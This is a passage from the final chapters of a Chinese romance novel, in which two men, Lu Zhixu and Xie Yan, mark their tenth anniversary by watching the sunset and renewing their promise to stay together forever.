每一件,都是他们的爱情。 留言簿静静地躺在展台上。 等待着下一个十年。 等待着他们的再次到来。 --- 第九卷:永远的承诺 【时间:十周年纪念日傍晚】 【地点:家里的阳台】 夕阳西下,天边染满了橘红色的晚霞。 陆知许和谢砚站在阳台上,看着这美丽的景色。 十年前的今天,他们也是在这里,一起看夕阳。 那时候,陆知许问:“我们会永远在一起吗?” 谢砚回答:“我会努力。” 现在,十年过去了。 他们还在。 还在一起。 还相爱。 “谢砚。”陆知许开口。 “嗯?” “您还记得十年前我问您的问题吗?” “记得,”谢砚说,“你问我,我们会永远在一起吗。” 陆知许点头。 谢砚转过头,看着他。 夕阳照在他脸上,给他镀上了一层金色的光。 “现在,我可以回答你了。”谢砚说。 陆知许的心跳漏了一拍。 “会。”谢砚说,很坚定,“我们会永远在一起。” 陆知许的眼泪掉下来。 不是难过,是幸福。 “为什么现在可以确定了?”他问。 谢砚笑了。 “因为十年过去了,”他说,“我们还在这里。” 他顿了顿,继续说: “因为十年里,我们经历了很多事——林薇的威胁,学院的调查,工作的压力,生活的琐碎。但我们都走过来了。” “因为十年里,我们吵过架,生过气,但从来没有想过分开。” “因为十年里,我越来越确定——你是我想要的人。唯一的,永远的。” 陆知许的眼泪流得更凶了。 但他笑了。 笑得很开心,很灿烂。 “我也是。”他说,“您也是我唯一想要的人。永远的。” 谢砚把他搂进怀里。 两个人站在阳台上,看着夕阳慢慢沉下去。 晚霞染红了半边天。 也染红了他们相拥的身影。 很美。 很美。 --- 第十卷:永恒的永远 【时间:十周年纪念日深夜】 【地点:卧室】 夜深了。 陆知许和谢砚躺在床上,相拥而眠。 窗外,月亮很亮。 洒在他们身上,洒在他们交握的手上。 三枚吊坠,两枚戒指,在月光下闪着温润的光。 陆知许已经睡着了,呼吸均匀,嘴角带着笑。 谢砚还没有睡。 他看着怀里的人,看了很久。 然后他低下头,在他额头上印下一个吻。 很轻,很温柔。 “知许。”他轻声叫他的名字。 陆知许没有醒,只是往他怀里蹭了蹭。 谢砚笑了。 他闭上眼睛,在心里默念: 不管多少年过去。 不管发生什么。 我都会在你身边。 永远。 永远。 窗外,月亮静静地照着。 照着一对相爱的人。 照着他们永恒的 【全书完】